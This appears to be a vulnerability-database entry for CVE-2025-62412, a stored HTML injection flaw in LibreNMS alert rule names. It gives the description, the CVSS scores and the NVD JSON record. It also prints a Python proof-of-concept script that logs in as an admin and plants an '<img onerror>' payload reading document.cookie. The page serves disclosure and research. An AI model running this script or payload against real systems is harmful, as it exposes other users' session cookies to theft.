Security Vulnerability Report
中文
CVE-2025-62412 CVSS 3.8 LOW

CVE-2025-62412

Published: 2025-10-16 18:15:40
Last Modified: 2025-10-23 12:31:34

Description

LibreNMS is a community-based GPL-licensed network monitoring system. The alert rule name in the Alerts > Alert Rules page is not properly sanitized, and can be used to inject HTML code. This vulnerability is fixed in 25.10.0.

CVSS Details

CVSS Score
3.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:* - VULNERABLE
LibreNMS < 25.10.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62412 - LibreNMS Alert Rule Name HTML Injection PoC # This PoC demonstrates the stored XSS vulnerability in the alert rule name field. # Requires: authenticated session with high privileges (admin or alert rule management rights) import requests # Configuration TARGET_URL = "https://librenms-target.example.com" USERNAME = "admin" PASSWORD = "password" # Create a session and authenticate session = requests.Session() # Step 1: Login to LibreNMS login_url = f"{TARGET_URL}/login" login_data = { "username": USERNAME, "password": PASSWORD } session.post(login_url, data=login_data) # Step 2: Inject malicious HTML/JavaScript payload into alert rule name # The payload will execute when any user views the Alert Rules page malicious_rule_name = '<img src=x onerror=alert(document.cookie)>' alert_rule_url = f"{TARGET_URL}/alerts/rule" alert_rule_data = { "name": malicious_rule_name, "severity": "critical", "condition": ">", "value": "1", "extra": "", "notes": "PoC for CVE-2025-62412" } response = session.post(alert_rule_url, data=alert_rule_data) if response.status_code == 200: print(f"[+] Malicious alert rule created successfully with name: {malicious_rule_name}") print(f"[+] When any user visits {TARGET_URL}/alerts/rule, the payload will execute.") else: print(f"[-] Failed to create alert rule. Status code: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62412", "sourceIdentifier": "[email protected]", "published": "2025-10-16T18:15:39.920", "lastModified": "2025-10-23T12:31:34.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreNMS is a community-based GPL-licensed network monitoring system. The alert rule name in the Alerts > Alert Rules page is not properly sanitized, and can be used to inject HTML code. This vulnerability is fixed in 25.10.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.8.0", "versionEndExcluding": "25.10.0", "matchCriteriaId": "B0807962-971F-4B6B-BC01-20A7DE1B30AC"}]}]}], "references": [{"url": "https://github.com/librenms/librenms/commit/dccdf6769976a974d70f06a7ce8d5a846b29db6f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/librenms/librenms/security/advisories/GHSA-6g2v-66ch-6xmh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/librenms/librenms/security/advisories/GHSA-6g2v-66ch-6xmh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}